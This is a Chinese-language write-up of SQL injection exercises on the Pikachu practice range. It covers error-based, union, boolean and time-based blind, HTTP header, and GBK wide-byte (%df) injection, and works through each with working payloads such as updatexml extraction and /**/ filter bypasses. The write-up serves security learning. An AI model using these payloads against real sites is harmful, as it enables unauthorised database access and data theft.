目錄
XX型注入
insert/update注入
delete注入
"http header"注入
基于boolian的盲注
基于時間的盲注
寬字節注入(wide byte注入)
pikachu靶場的字符型注入中xx' or 1=1#可以得到所有用戶的信息。
XX型注入
首先輸入1'探測一下。
然后返回這樣一條報錯信息,注意near ''1'')' ,紅色部分是表示內容為字符串的一對單引號,實際報錯內容應該是'1''),然后這個橙色部分單引號應該是我們輸入的導致報錯的單引號,事實上還缺一個括號閉合,報錯信息省略了,所以數據格式大概是('你的輸入')。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')' at line 1
輸入1') order by 3#報錯,經過嘗試有兩列內容。
輸入1' union slect database(),2#爆庫,接下來一一操作便是。
insert/update注入
首先注冊一個用戶。
隨后點擊修改信息,并且在性別后面加一個單引號。
提交后成功報錯。
接下來想查看有幾列,發現一直失敗,這個時候轉向報錯注入。
輸入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#,成功拿到數據庫名,接下來慢慢測吧哈哈,除了這個函數還可以用updatexml,它具有三個參數。
回到注冊頁面,注冊一般使用insert語句,可能存在insert注入,insert格式如下:
用戶輸入1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '
原來的
('百度','https://www.baidu.com')變成
('1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '','https://www.baidu.com')
其中紅色單引號是原本'百度'的一對單引號。
delete注入
首先上傳一份javascript惡意腳本,然后成功上傳。
這個時候嘗試上傳1',發現也沒有報錯。
接下來刪除js腳本,頁面沒有變化。
但是當我們刪除1'時候,提示我們刪除失敗,數據庫掛了好好好,大概就是刪除帶有插入惡意符號的語句可能會觸發sql注入。
我們重新上傳1' order by 3#,隨后刪除看看,但是發現無論列數設置多少頁面都沒變化,但是就是在刪除的時候存在sql注入,怎會回事呢?我們刪除的時候抓包看一看。
這里猜測大概在id這里存在sql注入
將id設置為id=75',發現出現了報錯。
接下來輸入id=75 and 1=1
接下來,發現遇到了這個。
那么大概一些東西被過濾了,猜測是空格,將空格替換成/**/,隨后刪除成功。
隨后輸入id=77/**/and/**/1=2,發現不行,哎這個是數字型注入啊。
隨后輸入id=78/**/order/**/by/**/2,竟然不存在,然后嘗試1也不行,那么轉成報錯注入方向。
輸入id=79/**/and/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
發現爆出了數據庫名,除了這個paylaod還可以,在這里無論最終真值與否,右邊的語句都會報錯都會返回信息,所以關系不大。
id=79/**/or/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
id=79/**/&&/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
id=79/**/||/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
"http header"注入
在這里我們登錄了一個賬號,發現返回了我的ip,user agent,http accept,端口號,由于我的信息都寫入了數據庫,所以這幾個跟數據庫相關的部分都可能存在sql注入。?
刷新頁面抓包,首先在ip位置測試sql注入,然后返回了錯誤,但是并不是sql語句的報錯,這里不存在。
接著在user agent后面加入一個單引號,發現sql語句報錯,那么這里存在sql注入。
隨后再次嘗試,在accept后面追加單引號來測試,然后sql語句報錯,那么這里也存在sql注入。
隨后在cookie測試,發現cookie這三個參數都存在sql注入。
在cookie處利用報錯注入輸入' and updatexml(1,concat(0x7e,(select database()),0x7e),0)#
基于boolian的盲注
kobe' and '1'='1
kobe' and '1'='2
可以通過這個查看頁面變化,但是這個頁面只有這兩種情況,怎么輸入最后都沒有出現sql語句報錯,這里可以嘗試布爾盲注入。
輸入kobe' and length(database())>10#
但是輸入kobe' and length(database())=7#,可以看出回顯,那么可以通過這種辦法猜測出數據庫名字的長度。
輸入kobe' and ascii(substr(database(),1,1))>100#,說明數據庫名字的第一個字符的ASCII值大于100。
最終輸入kobe' and ascii(substr(database(),1,1))=112#,說明數據庫名字第一個字符的ASCII值為112,也就是p
接下來測表名,首先應該同剛剛一樣測試表名的長度,隨后根據表名每位字符的ascii碼確定具體的表名。
基于時間的盲注
這道題我們發現無論怎么輸入,最終都只會生成一個內容,所以我們僅僅可以使用頁面的休息作為參考,那就是基于時間的盲注。
輸入1' and sleep(5)#,頁面停止5秒。
輸入1' and if(length(database())>5,sleep(5),1)#
????????頁面停止5秒
輸入1' and if(length(database())=7,sleep(5),1)#
????????頁面停止5秒,說明數據庫名的長度是7。
輸入1' and if(ascii(substr(database(),1,1))=112,sleep(5),1)#
????????頁面停止5秒,說明數據庫名的第一個字符的ascii碼為112,為p
隨后慢慢測試出數據庫名,測試表的方法一樣,首先測試表的長度,隨后測試表的內容。
寬字節注入(wide byte注入)
以下是寬字節注入簡單學習。
攻擊背景:
為了防止SQL注入,老式的PHP程序會開啟?
magic_quotes_gpc
?選項,或者程序員手動使用?addslashes()
、mysql_real_escape_string()
?等函數。這些功能會在特殊字符(如單引號?
'
)前加上一個反斜杠(\)?進行轉義。
例如,用戶輸入?
ABC'
,經過轉義后會變成?ABC\'
。這樣,當輸入被拼接到SQL語句中時,
\'
?會被數據庫認為是一個普通的單引號字符,而不是字符串的結束符,從而無法破壞SQL語句結構。
攻擊原理:
“寬字節注入”利用了數據庫連接層的一個特性:當MySQL連接使用?GBK
、BIG5
、SJIS
?等寬字符集( multibyte character set)時,可能會將兩個字節識別為一個漢字。
關鍵點:在GBK編碼中,
%df%5c
?是一個合法的漢字。
%df
?就是我們討論的這個字符。
%5c
?是反斜杠?\
?的URL編碼。
攻擊過程:
假設我們想注入?id=1'
,但程序會對單引號轉義。
-
正常輸入被轉義:
-
輸入:
1'
-
轉義后:
1\'
?(單引號前被加上了反斜杠?\
) -
最終SQL:
SELECT * FROM users WHERE id = '1\'';
-
這個SQL是合法的,單引號被轉義,注入失敗。
-
-
使用?
%df
?進行寬字節注入:-
輸入:
%df'
?(注意,這里是輸入?%df
?這個字符,而不是輸入這三個符號) -
轉義機制工作:程序看到單引號?
'
,于是在它前面加一個反斜杠?\
。-
轉義后的數據變成了:
%df\'
-
在十六進制表示下,這就是:
df 5c 27
?(%df
?+?\
?+?'
)
-
-
魔法時刻:當數據庫連接使用?
GBK
?這類寬字符集時,它會將?%df%5c
(即?df
?和?5c
?這兩個字節)“吞并”,理解為一個GBK編碼的漢字?“運”?(yùn
)。 -
最終,數據庫看到的SQL語句變成了:
sql
SELECT * FROM users WHERE id = '運'';
-
看!反斜杠(
\
)神奇地消失了!?單引號?'
?失去了它的保護傘(反斜杠),重新暴露出來,成為了一個未轉義的單引號,成功地閉合了前面的字符串。 -
現在,攻擊者就可以在這個單引號之后繼續構造Payload,例如:
%df' AND 1=1 #
?或?%df' UNION SELECT ... #
。
-
3. 總結:%df
?的意義
目的:它是一個用于觸發寬字節注入的精心構造的字節。
作用:與系統自動添加的反斜杠(
\
,%5c
)結合,形成一個寬字符(如GBK中的“運”),從而“吃掉”用于防護的安全反斜杠,使后續的單引號重新生效。條件:這種攻擊成功需要兩個前提:
數據庫連接使用了寬字符集(如?
GBK
,?BIG5
)。目標網站使用了轉義函數(如?
addslashes
)但未使用參數化查詢。
所以,%df
?是Web安全歷史上一個非常有名的“黑客字符”,它專門用來利用特定環境下的防御漏洞。看到它,安全研究人員立刻就會想到“寬字節注入”。
接下來回到靶場。
首先嘗試1',發現沒有報錯,然后怎么輸入頁面都不變,時間盲注也沒有辦法使用。
這里我們嘗試使用寬字節注入,在pikachu靶場的字符型sql注入中輸入xx' or 1=1#就會返回所有人的信息,那么在這里按理來說,輸入xx%df' or 1=1#應該也可以輸出好多人的信息,但是這里沒有。
但是當我們抓包時,將name改為1%df' or 1=1#時
然后再放包,就出現了所有人的信息,為什么呢?
因為首先如果在輸入框輸入1%df'后面會進行url編碼,將%號url編碼為%25,將單引號url編碼為%27,并且生成斜杠然后url編碼為%5c,所以原來的就變成1%25df%5c%27,但是在GBK編碼中,%df%5c
?是一個合法的漢字,%25df%5c就不是一個合法的漢字了,從而導致單引號沒有逃逸。
當我們在抓包后輸入時,%就不會被url進行編碼,從而當發現我們輸入單引號時,系統生成斜杠(\),并且對它進行url編碼為%5c,從而%df%5c表示一個漢字,從而剩下了單引號留下。
抓包后輸入1%df' order by 3#后報錯,輸入1%df' order by 2#沒有報錯,那么存在兩列。
輸入1%df' union select 1,database()#
拿到了數據庫名。